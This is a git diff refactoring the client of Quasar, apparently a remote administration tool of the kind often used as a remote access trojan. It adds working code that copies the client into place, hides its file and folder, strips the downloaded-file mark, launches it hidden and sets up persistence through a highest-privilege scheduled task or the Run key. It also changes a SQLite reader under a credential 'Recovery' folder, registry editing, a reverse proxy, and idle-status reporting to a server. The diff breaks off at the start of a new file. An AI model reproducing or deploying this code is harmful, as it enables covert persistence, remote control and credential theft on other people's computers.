diff --git a/Client/Core/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs
similarity index 93%
rename from Client/Core/Recovery/Utilities/SQLiteHandler.cs
rename to Quasar.Client/Recovery/Utilities/SQLiteHandler.cs
index 8c03a8664..0fcd24d21 100644
--- a/Client/Core/Recovery/Utilities/SQLiteHandler.cs
+++ b/Quasar.Client/Recovery/Utilities/SQLiteHandler.cs
@@ -1,17 +1,16 @@
using System;
+using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-namespace xClient.Core.Recovery.Utilities
+namespace Quasar.Client.Recovery.Utilities
{
public class SQLiteHandler
{
private byte[] db_bytes;
private ulong encoding;
- private string[] field_names;
+ private string[] field_names = new string[1];
private sqlite_master_entry[] master_table_entries;
private ushort page_size;
private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
@@ -21,11 +20,7 @@ public SQLiteHandler(string baseName)
{
if (File.Exists(baseName))
{
- FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
- string str = Strings.Space((int)FileSystem.LOF(1));
- FileSystem.FileGet(1, ref str, -1L, false);
- FileSystem.FileClose(new int[] { 1 });
- this.db_bytes = Encoding.Default.GetBytes(str);
+ this.db_bytes = File.ReadAllBytes(baseName);
if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
{
throw new Exception("Not a valid SQLite 3 Database File");
@@ -116,19 +111,16 @@ public int GetRowCount()
public string[] GetTableNames()
{
- string[] strArray2 = null;
- int index = 0;
+ List tableNames = new List();
int num3 = this.master_table_entries.Length - 1;
for (int i = 0; i <= num3; i++)
{
if (this.master_table_entries[i].item_type == "table")
{
- strArray2 = (string[])Utils.CopyArray((Array)strArray2, new string[index + 1]);
- strArray2[index] = this.master_table_entries[i].item_name;
- index++;
+ tableNames.Add(this.master_table_entries[i].item_name);
}
}
- return strArray2;
+ return tableNames.ToArray();
}
public string GetValue(int row_num, int field)
@@ -198,7 +190,7 @@ private void ReadMasterTable(ulong Offset)
if (this.master_table_entries != null)
{
length = this.master_table_entries.Length;
- this.master_table_entries = (sqlite_master_entry[])Utils.CopyArray((Array)this.master_table_entries, new sqlite_master_entry[(this.master_table_entries.Length + num2) + 1]);
+ Array.Resize(ref master_table_entries, this.master_table_entries.Length + num2 + 1);
}
else
{
@@ -334,7 +326,8 @@ public bool ReadTable(string TableName)
{
break;
}
- this.field_names = (string[])Utils.CopyArray((Array)this.field_names, new string[j + 1]);
+
+ Array.Resize(ref field_names, j + 1);
this.field_names[j] = strArray[j];
}
return this.ReadTableFromOffset((ulong)((this.master_table_entries[index].root_num - 1L) * this.page_size));
@@ -349,7 +342,7 @@ private bool ReadTableFromOffset(ulong Offset)
if (this.table_entries != null)
{
length = this.table_entries.Length;
- this.table_entries = (table_entry[])Utils.CopyArray((Array)this.table_entries, new table_entry[(this.table_entries.Length + num2) + 1]);
+ Array.Resize(ref this.table_entries, this.table_entries.Length + num2 + 1);
}
else
{
@@ -358,7 +351,7 @@ private bool ReadTableFromOffset(ulong Offset)
int num16 = num2;
for (int i = 0; i <= num16; i++)
{
- record_header_field[] _fieldArray = null;
+ record_header_field[] _fieldArray = new record_header_field[1];
ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
if (decimal.Compare(new decimal(Offset), 100M) != 0)
{
@@ -375,7 +368,7 @@ private bool ReadTableFromOffset(ulong Offset)
long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One));
for (int j = 0; num10 < num7; j++)
{
- _fieldArray = (record_header_field[])Utils.CopyArray((Array)_fieldArray, new record_header_field[j + 1]);
+ Array.Resize(ref _fieldArray, j + 1);
endIndex = num8 + 1;
num8 = this.GVL(endIndex);
_fieldArray[j].type = this.CVL(endIndex, num8);
@@ -425,7 +418,7 @@ private bool ReadTableFromOffset(ulong Offset)
}
else
{
- this.table_entries[length + i].content[k] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size));
+ this.table_entries[length + i].content[k] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size));
}
num4 += (int)_fieldArray[k].size;
}
diff --git a/Client/Core/Registry/RegistryEditor.cs b/Quasar.Client/Registry/RegistryEditor.cs
similarity index 83%
rename from Client/Core/Registry/RegistryEditor.cs
rename to Quasar.Client/Registry/RegistryEditor.cs
index a600cb173..0cf4272d9 100644
--- a/Client/Core/Registry/RegistryEditor.cs
+++ b/Quasar.Client/Registry/RegistryEditor.cs
@@ -1,29 +1,19 @@
using Microsoft.Win32;
+using Quasar.Client.Extensions;
+using Quasar.Client.Helper;
+using Quasar.Common.Models;
using System;
-using System.Collections.Generic;
-using System.Linq;
-using System.Text;
-using xClient.Core.Extensions;
-namespace xClient.Core.Registry
+namespace Quasar.Client.Registry
{
public class RegistryEditor
{
-
- #region CONSTANTS
-
- #region RegistryKey
-
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
- #endregion
-
- #region RegistryValue
-
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
@@ -32,18 +22,13 @@ public class RegistryEditor
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
- #endregion
-
- #endregion
-
- #region RegistryKey
///
/// Attempts to create the desired sub key to the specified parent.
///
/// The path to the parent for which to create the sub-key on.
/// output parameter that holds the name of the sub-key that was create.
- /// output parameter that contians possible error message.
- /// Returns boolean value for if the operation failed or succeded.
+ /// output parameter that contains possible error message.
+ /// Returns true if action succeeded.
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
{
name = "";
@@ -55,7 +40,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str
//Invalid can not open parent
if (parent == null)
{
- errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator";
+ errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator";
return false;
}
@@ -97,8 +82,8 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str
///
/// The name of the sub-key to delete.
/// The path to the parent for which to delete the sub-key on.
- /// output parameter that contians possible error message.
- /// Returns boolean value for if the operation failed or succeded.
+ /// output parameter that contains possible error message.
+ /// Returns true if the operation succeeded.
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
{
try
@@ -108,7 +93,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
//Invalid can not open parent
if (parent == null)
{
- errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator";
+ errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator";
return false;
}
@@ -116,7 +101,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
if (!parent.ContainsSubKey(name))
{
errorMsg = "The registry: " + name + " does not exist in: " + parentPath;
- //If child does not exists then the action has already succeded
+ //If child does not exists then the action has already succeeded
return true;
}
@@ -146,8 +131,8 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
/// The name of the key to rename.
/// The name to use for renaming.
/// The path of the parent for which to rename the key.
- /// output parameter that contians possible error message.
- /// Returns boolean value for if the operation failed or succeded.
+ /// output parameter that contains possible error message.
+ /// Returns true if the operation succeeded.
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
{
try
@@ -158,7 +143,7 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare
//Invalid can not open parent
if (parent == null)
{
- errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator";
+ errorMsg = "You do not have write access to registry: " + parentPath + ", try running client as administrator";
return false;
}
@@ -190,18 +175,14 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare
}
}
- #endregion
-
- #region RegistryValue
-
///
/// Attempts to create the desired value for the specified parent.
///
/// The path to the key for which to create the registry value on.
/// The type of the registry value to create.
/// output parameter that holds the name of the registry value that was create.
- /// output parameter that contians possible error message.
- /// Returns boolean value for if the operation failed or succeded.
+ /// output parameter that contains possible error message.
+ /// Returns true if the operation succeeded.
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
{
name = "";
@@ -212,7 +193,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o
//Invalid can not open key
if (key == null)
{
- errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
+ errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
return false;
}
@@ -253,8 +234,8 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o
///
/// The path to the key for which to delete the registry value on.
/// /// The name of the registry value to delete.
- /// output parameter that contians possible error message.
- /// Returns boolean value for if the operation failed or succeded.
+ /// output parameter that contains possible error message.
+ /// Returns true if the operation succeeded.
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
{
try
@@ -264,7 +245,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e
//Invalid can not open key
if (key == null)
{
- errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
+ errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
return false;
}
@@ -272,7 +253,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e
if (!key.ContainsValue(name))
{
errorMsg = "The value: " + name + " does not exist in: " + keyPath;
- //If value does not exists then the action has already succeded
+ //If value does not exists then the action has already succeeded
return true;
}
@@ -302,19 +283,18 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e
/// The name of the registry value to rename.
/// The name to use for renaming.
/// The path of the key for which to rename the registry value.
- /// output parameter that contians possible error message.
- /// Returns boolean value for if the operation failed or succeded.
+ /// output parameter that contains possible error message.
+ /// Returns true if the operation succeeded.
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
{
try
{
-
RegistryKey key = GetWritableRegistryKey(keyPath);
//Invalid can not open key
if (key == null)
{
- errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
+ errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
return false;
}
@@ -354,8 +334,8 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke
/// RegValueData object.
/// The path to the key for which to change the
/// value of the registry value on.
- /// output parameter that contians possible error message.
- /// Returns boolean value for if the operation failed or succeded.
+ /// output parameter that contains possible error message.
+ /// Returns true if the operation succeeded.
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
{
try
@@ -365,12 +345,12 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s
//Invalid can not open key
if (key == null)
{
- errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
+ errorMsg = "You do not have write access to registry: " + keyPath + ", try running client as administrator";
return false;
}
-
- //Value does not exist
- if (!key.ContainsValue(value.Name))
+
+ //Is not default value and does not exist
+ if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name))
{
errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath;
return false;
@@ -397,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s
}
- #endregion
-
public static RegistryKey GetWritableRegistryKey(string keyPath)
{
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
diff --git a/Quasar.Client/Registry/RegistrySeeker.cs b/Quasar.Client/Registry/RegistrySeeker.cs
new file mode 100644
index 000000000..4ba76cb14
--- /dev/null
+++ b/Quasar.Client/Registry/RegistrySeeker.cs
@@ -0,0 +1,161 @@
+using Microsoft.Win32;
+using Quasar.Client.Extensions;
+using Quasar.Client.Helper;
+using Quasar.Common.Models;
+using System;
+using System.Collections.Generic;
+
+namespace Quasar.Client.Registry
+{
+ public class RegistrySeeker
+ {
+ ///
+ /// The list containing the matches found during the search.
+ ///
+ private readonly List _matches;
+
+ public RegSeekerMatch[] Matches => _matches?.ToArray();
+
+ public RegistrySeeker()
+ {
+ _matches = new List();
+ }
+
+ public void BeginSeeking(string rootKeyName)
+ {
+ if (!String.IsNullOrEmpty(rootKeyName))
+ {
+ using(RegistryKey root = GetRootKey(rootKeyName))
+ {
+ //Check if this is a root key or not
+ if (root != null && root.Name != rootKeyName)
+ {
+ //Must get the subKey name by removing root and '\'
+ string subKeyName = rootKeyName.Substring(root.Name.Length + 1);
+ using(RegistryKey subroot = root.OpenReadonlySubKeySafe(subKeyName))
+ {
+ if(subroot != null)
+ Seek(subroot);
+ }
+ }
+ else
+ {
+ Seek(root);
+ }
+ }
+ }
+ else
+ {
+ Seek(null);
+ }
+ }
+
+ private void Seek(RegistryKey rootKey)
+ {
+ // Get root registrys
+ if (rootKey == null)
+ {
+ foreach (RegistryKey key in GetRootKeys())
+ //Just need root key so process it
+ ProcessKey(key, key.Name);
+ }
+ else
+ {
+ //searching for subkeys to root key
+ Search(rootKey);
+ }
+ }
+
+ private void Search(RegistryKey rootKey)
+ {
+ foreach(string subKeyName in rootKey.GetSubKeyNames())
+ {
+ RegistryKey subKey = rootKey.OpenReadonlySubKeySafe(subKeyName);
+ ProcessKey(subKey, subKeyName);
+ }
+ }
+
+ private void ProcessKey(RegistryKey key, string keyName)
+ {
+ if (key != null)
+ {
+ List values = new List();
+
+ foreach (string valueName in key.GetValueNames())
+ {
+ RegistryValueKind valueType = key.GetValueKind(valueName);
+ object valueData = key.GetValue(valueName);
+ values.Add(RegistryKeyHelper.CreateRegValueData(valueName, valueType, valueData));
+ }
+
+ AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(values), key.SubKeyCount);
+ }
+ else
+ {
+ AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
+ }
+ }
+
+ private void AddMatch(string key, RegValueData[] values, int subkeycount)
+ {
+ RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
+
+ _matches.Add(match);
+ }
+
+ public static RegistryKey GetRootKey(string subkeyFullPath)
+ {
+ string[] path = subkeyFullPath.Split('\\');
+ try
+ {
+ switch (path[0]) // <== root;
+ {
+ case "HKEY_CLASSES_ROOT":
+ return RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64);
+ case "HKEY_CURRENT_USER":
+ return RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64);
+ case "HKEY_LOCAL_MACHINE":
+ return RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
+ case "HKEY_USERS":
+ return RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64);
+ case "HKEY_CURRENT_CONFIG":
+ return RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64);
+ default:
+ /* If none of the above then the key must be invalid */
+ throw new Exception("Invalid rootkey, could not be found.");
+ }
+ }
+ catch (SystemException)
+ {
+ throw new Exception("Unable to open root registry key, you do not have the needed permissions.");
+ }
+ catch(Exception e)
+ {
+ throw e;
+ }
+ }
+
+ public static List GetRootKeys()
+ {
+ List rootKeys = new List();
+ try
+ {
+ rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64));
+ rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64));
+ rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64));
+ rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64));
+ rootKeys.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64));
+ }
+ catch (SystemException)
+ {
+ throw new Exception("Could not open root registry keys, you may not have the needed permission");
+ }
+ catch (Exception e)
+ {
+ throw e;
+ }
+
+ return rootKeys;
+ }
+ }
+}
diff --git a/Client/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs
similarity index 67%
rename from Client/Core/ReverseProxy/ReverseProxyClient.cs
rename to Quasar.Client/ReverseProxy/ReverseProxyClient.cs
index cf309c3ee..d5762689a 100644
--- a/Client/Core/ReverseProxy/ReverseProxyClient.cs
+++ b/Quasar.Client/ReverseProxy/ReverseProxyClient.cs
@@ -1,10 +1,9 @@
-using System;
+using Quasar.Common.Messages.ReverseProxy;
+using System;
using System.Net;
using System.Net.Sockets;
-using xClient.Core.Networking;
-using xClient.Core.ReverseProxy.Packets;
-namespace xClient.Core.ReverseProxy
+namespace Quasar.Client.ReverseProxy
{
public class ReverseProxyClient
{
@@ -14,11 +13,11 @@ public class ReverseProxyClient
public Socket Handle { get; private set; }
public string Target { get; private set; }
public int Port { get; private set; }
- public Client Client { get; private set; }
+ public Networking.Client Client { get; private set; }
private byte[] _buffer;
private bool _disconnectIsSend;
- public ReverseProxyClient(ReverseProxyConnect command, Client client)
+ public ReverseProxyClient(ReverseProxyConnect command, Networking.Client client)
{
this.ConnectionId = command.ConnectionId;
this.Target = command.Target;
@@ -47,16 +46,37 @@ private void Handle_Connect(IAsyncResult ar)
}
catch
{
- new ReverseProxyConnectResponse(ConnectionId, false, null, 0, this.Target).Execute(Client);
+ Client.Send(new ReverseProxyConnectResponse
+ {
+ ConnectionId = ConnectionId,
+ IsConnected = false,
+ LocalAddress = null,
+ LocalPort = 0,
+ HostName = Target
+ });
Disconnect();
}
IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
- new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address, localEndPoint.Port, this.Target).Execute(Client);
+ Client.Send(new ReverseProxyConnectResponse
+ {
+ ConnectionId = ConnectionId,
+ IsConnected = true,
+ LocalAddress = localEndPoint.Address.GetAddressBytes(),
+ LocalPort = localEndPoint.Port,
+ HostName = Target
+ });
}
else
{
- new ReverseProxyConnectResponse(ConnectionId, false, null, 0, this.Target).Execute(Client);
+ Client.Send(new ReverseProxyConnectResponse
+ {
+ ConnectionId = ConnectionId,
+ IsConnected = false,
+ LocalAddress = null,
+ LocalPort = 0,
+ HostName = Target
+ });
}
}
@@ -76,7 +96,7 @@ private void AsyncReceive(IAsyncResult ar)
byte[] payload = new byte[received];
Array.Copy(_buffer, payload, received);
- new ReverseProxyData(this.ConnectionId, payload).Execute(Client);
+ Client.Send(new ReverseProxyData {ConnectionId = ConnectionId, Data = payload});
}
catch
{
@@ -101,7 +121,7 @@ public void Disconnect()
{
_disconnectIsSend = true;
//send to the Server we've been disconnected
- new ReverseProxyDisconnect(this.ConnectionId).Execute(Client);
+ Client.Send(new ReverseProxyDisconnect {ConnectionId = ConnectionId});
}
try
diff --git a/Quasar.Client/Setup/ClientInstaller.cs b/Quasar.Client/Setup/ClientInstaller.cs
new file mode 100644
index 000000000..a6d929c75
--- /dev/null
+++ b/Quasar.Client/Setup/ClientInstaller.cs
@@ -0,0 +1,102 @@
+using Quasar.Client.Config;
+using Quasar.Client.Extensions;
+using Quasar.Common.Helpers;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Threading;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Setup
+{
+ public class ClientInstaller : ClientSetupBase
+ {
+ public void ApplySettings()
+ {
+ if (Settings.STARTUP)
+ {
+ var clientStartup = new ClientStartup();
+ clientStartup.AddToStartup(Settings.INSTALLPATH, Settings.STARTUPKEY);
+ }
+
+ if (Settings.INSTALL && Settings.HIDEFILE)
+ {
+ try
+ {
+ File.SetAttributes(Settings.INSTALLPATH, FileAttributes.Hidden);
+ }
+ catch (Exception ex)
+ {
+ Debug.WriteLine(ex);
+ }
+ }
+
+ if (Settings.INSTALL && Settings.HIDEINSTALLSUBDIRECTORY && !string.IsNullOrEmpty(Settings.SUBDIRECTORY))
+ {
+ try
+ {
+ DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(Settings.INSTALLPATH));
+ di.Attributes |= FileAttributes.Hidden;
+ }
+ catch (Exception ex)
+ {
+ Debug.WriteLine(ex);
+ }
+ }
+ }
+
+ public void Install()
+ {
+ // create target dir
+ if (!Directory.Exists(Path.GetDirectoryName(Settings.INSTALLPATH)))
+ {
+ Directory.CreateDirectory(Path.GetDirectoryName(Settings.INSTALLPATH));
+ }
+
+ // delete existing file
+ if (File.Exists(Settings.INSTALLPATH))
+ {
+ try
+ {
+ File.Delete(Settings.INSTALLPATH);
+ }
+ catch (Exception ex)
+ {
+ if (ex is IOException || ex is UnauthorizedAccessException)
+ {
+ // kill old process running at destination path
+ Process[] foundProcesses =
+ Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Settings.INSTALLPATH));
+ int myPid = Process.GetCurrentProcess().Id;
+ foreach (var prc in foundProcesses)
+ {
+ // dont kill own process
+ if (prc.Id == myPid) continue;
+ // only kill the process at the destination path
+ if (prc.GetMainModuleFileName() != Settings.INSTALLPATH) continue;
+ prc.Kill();
+ Thread.Sleep(2000);
+ break;
+ }
+ }
+ }
+ }
+
+ File.Copy(Application.ExecutablePath, Settings.INSTALLPATH, true);
+
+ ApplySettings();
+
+ FileHelper.DeleteZoneIdentifier(Settings.INSTALLPATH);
+
+ //start file
+ var startInfo = new ProcessStartInfo
+ {
+ WindowStyle = ProcessWindowStyle.Hidden,
+ CreateNoWindow = true,
+ UseShellExecute = false,
+ FileName = Settings.INSTALLPATH
+ };
+ Process.Start(startInfo);
+ }
+ }
+}
diff --git a/Quasar.Client/Setup/ClientSetupBase.cs b/Quasar.Client/Setup/ClientSetupBase.cs
new file mode 100644
index 000000000..ea84bc27c
--- /dev/null
+++ b/Quasar.Client/Setup/ClientSetupBase.cs
@@ -0,0 +1,14 @@
+using Quasar.Client.User;
+
+namespace Quasar.Client.Setup
+{
+ public abstract class ClientSetupBase
+ {
+ protected UserAccount UserAccount;
+
+ protected ClientSetupBase()
+ {
+ UserAccount = new UserAccount();
+ }
+ }
+}
diff --git a/Quasar.Client/Setup/ClientStartup.cs b/Quasar.Client/Setup/ClientStartup.cs
new file mode 100644
index 000000000..8774acebb
--- /dev/null
+++ b/Quasar.Client/Setup/ClientStartup.cs
@@ -0,0 +1,52 @@
+using Microsoft.Win32;
+using Quasar.Client.Helper;
+using Quasar.Common.Enums;
+using System.Diagnostics;
+
+namespace Quasar.Client.Setup
+{
+ public class ClientStartup : ClientSetupBase
+ {
+ public void AddToStartup(string executablePath, string startupName)
+ {
+ if (UserAccount.Type == AccountType.Admin)
+ {
+ ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
+ {
+ Arguments = "/create /tn \"" + startupName + "\" /sc ONLOGON /tr \"" + executablePath +
+ "\" /rl HIGHEST /f",
+ UseShellExecute = false,
+ CreateNoWindow = true
+ };
+
+ Process p = Process.Start(startInfo);
+ p.WaitForExit(1000);
+ if (p.ExitCode == 0) return;
+ }
+
+ RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
+ "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName, executablePath,
+ true);
+ }
+
+ public void RemoveFromStartup(string startupName)
+ {
+ if (UserAccount.Type == AccountType.Admin)
+ {
+ ProcessStartInfo startInfo = new ProcessStartInfo("schtasks")
+ {
+ Arguments = "/delete /tn \"" + startupName + "\" /f",
+ UseShellExecute = false,
+ CreateNoWindow = true
+ };
+
+ Process p = Process.Start(startInfo);
+ p.WaitForExit(1000);
+ if (p.ExitCode == 0) return;
+ }
+
+ RegistryKeyHelper.DeleteRegistryKeyValue(RegistryHive.CurrentUser,
+ "Software\\Microsoft\\Windows\\CurrentVersion\\Run", startupName);
+ }
+ }
+}
diff --git a/Quasar.Client/Setup/ClientUninstaller.cs b/Quasar.Client/Setup/ClientUninstaller.cs
new file mode 100644
index 000000000..364b94d88
--- /dev/null
+++ b/Quasar.Client/Setup/ClientUninstaller.cs
@@ -0,0 +1,52 @@
+using Quasar.Client.Config;
+using Quasar.Client.IO;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Setup
+{
+ public class ClientUninstaller : ClientSetupBase
+ {
+ public void Uninstall()
+ {
+ if (Settings.STARTUP)
+ {
+ var clientStartup = new ClientStartup();
+ clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
+ }
+
+ if (Settings.ENABLELOGGER && Directory.Exists(Settings.LOGSPATH))
+ {
+ // this must match the keylogger log files
+ Regex reg = new Regex(@"^\d{4}\-(0[1-9]|1[012])\-(0[1-9]|[12][0-9]|3[01])$");
+
+ foreach (var logFile in Directory.GetFiles(Settings.LOGSPATH, "*", SearchOption.TopDirectoryOnly)
+ .Where(path => reg.IsMatch(Path.GetFileName(path))).ToList())
+ {
+ try
+ {
+ File.Delete(logFile);
+ }
+ catch (Exception)
+ {
+ // no important exception
+ }
+ }
+ }
+
+ string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath);
+
+ ProcessStartInfo startInfo = new ProcessStartInfo
+ {
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true,
+ FileName = batchFile
+ };
+ Process.Start(startInfo);
+ }
+ }
+}
diff --git a/Quasar.Client/Setup/ClientUpdater.cs b/Quasar.Client/Setup/ClientUpdater.cs
new file mode 100644
index 000000000..3141724bd
--- /dev/null
+++ b/Quasar.Client/Setup/ClientUpdater.cs
@@ -0,0 +1,38 @@
+using Quasar.Client.Config;
+using Quasar.Client.IO;
+using Quasar.Common.Helpers;
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Windows.Forms;
+
+namespace Quasar.Client.Setup
+{
+ public class ClientUpdater : ClientSetupBase
+ {
+ public void Update(string newFilePath)
+ {
+ FileHelper.DeleteZoneIdentifier(newFilePath);
+
+ var bytes = File.ReadAllBytes(newFilePath);
+ if (!FileHelper.HasExecutableIdentifier(bytes))
+ throw new Exception("No executable file.");
+
+ string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
+
+ ProcessStartInfo startInfo = new ProcessStartInfo
+ {
+ WindowStyle = ProcessWindowStyle.Hidden,
+ UseShellExecute = true,
+ FileName = batchFile
+ };
+ Process.Start(startInfo);
+
+ if (Settings.STARTUP)
+ {
+ var clientStartup = new ClientStartup();
+ clientStartup.RemoveFromStartup(Settings.STARTUPKEY);
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/User/ActivityDetection.cs b/Quasar.Client/User/ActivityDetection.cs
new file mode 100644
index 000000000..c6865a1df
--- /dev/null
+++ b/Quasar.Client/User/ActivityDetection.cs
@@ -0,0 +1,125 @@
+using Quasar.Client.Helper;
+using Quasar.Client.Networking;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using System;
+using System.Threading;
+
+namespace Quasar.Client.User
+{
+ ///
+ /// Provides user activity detection and sends messages on change.
+ ///
+ public class ActivityDetection : IDisposable
+ {
+ ///
+ /// Stores the last user status to detect changes.
+ ///
+ private UserStatus _lastUserStatus;
+
+ ///
+ /// The client to use for communication with the server.
+ ///
+ private readonly QuasarClient _client;
+
+ ///
+ /// Create a and signals cancellation.
+ ///
+ private readonly CancellationTokenSource _tokenSource;
+
+ ///
+ /// The token to check for cancellation.
+ ///
+ private readonly CancellationToken _token;
+
+ ///
+ /// Initializes a new instance of using the given client.
+ ///
+ /// The name of the mutex.
+ public ActivityDetection(QuasarClient client)
+ {
+ _client = client;
+ _tokenSource = new CancellationTokenSource();
+ _token = _tokenSource.Token;
+ client.ClientState += OnClientStateChange;
+ }
+
+ private void OnClientStateChange(Networking.Client s, bool connected)
+ {
+ // reset user status
+ if (connected)
+ _lastUserStatus = UserStatus.Active;
+ }
+
+ ///
+ /// Starts the user activity detection.
+ ///
+ public void Start()
+ {
+ new Thread(UserActivityThread).Start();
+ }
+
+ ///
+ /// Checks for user activity changes sends to the on change.
+ ///
+ private void UserActivityThread()
+ {
+ try
+ {
+ if (IsUserIdle())
+ {
+ if (_lastUserStatus != UserStatus.Idle)
+ {
+ _lastUserStatus = UserStatus.Idle;
+ _client.Send(new SetUserStatus { Message = _lastUserStatus });
+ }
+ }
+ else
+ {
+ if (_lastUserStatus != UserStatus.Active)
+ {
+ _lastUserStatus = UserStatus.Active;
+ _client.Send(new SetUserStatus { Message = _lastUserStatus });
+ }
+ }
+ }
+ catch (Exception e) when (e is NullReferenceException || e is ObjectDisposedException)
+ {
+ }
+ }
+
+ ///
+ /// Determines whether the user is idle if the last user input was more than 10 minutes ago.
+ ///
+ /// True if the user is idle, else false.
+ private bool IsUserIdle()
+ {
+ var ticks = Environment.TickCount;
+
+ var idleTime = ticks - NativeMethodsHelper.GetLastInputInfoTickCount();
+
+ idleTime = ((idleTime > 0) ? (idleTime / 1000) : 0);
+
+ return (idleTime > 600); // idle for 10 minutes
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this activity detection service.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _client.ClientState -= OnClientStateChange;
+ _tokenSource.Cancel();
+ _tokenSource.Dispose();
+ }
+ }
+ }
+}
diff --git a/Quasar.Client/User/UserAccount.cs b/Quasar.Client/User/UserAccount.cs
new file mode 100644
index 000000000..5893202ef
--- /dev/null
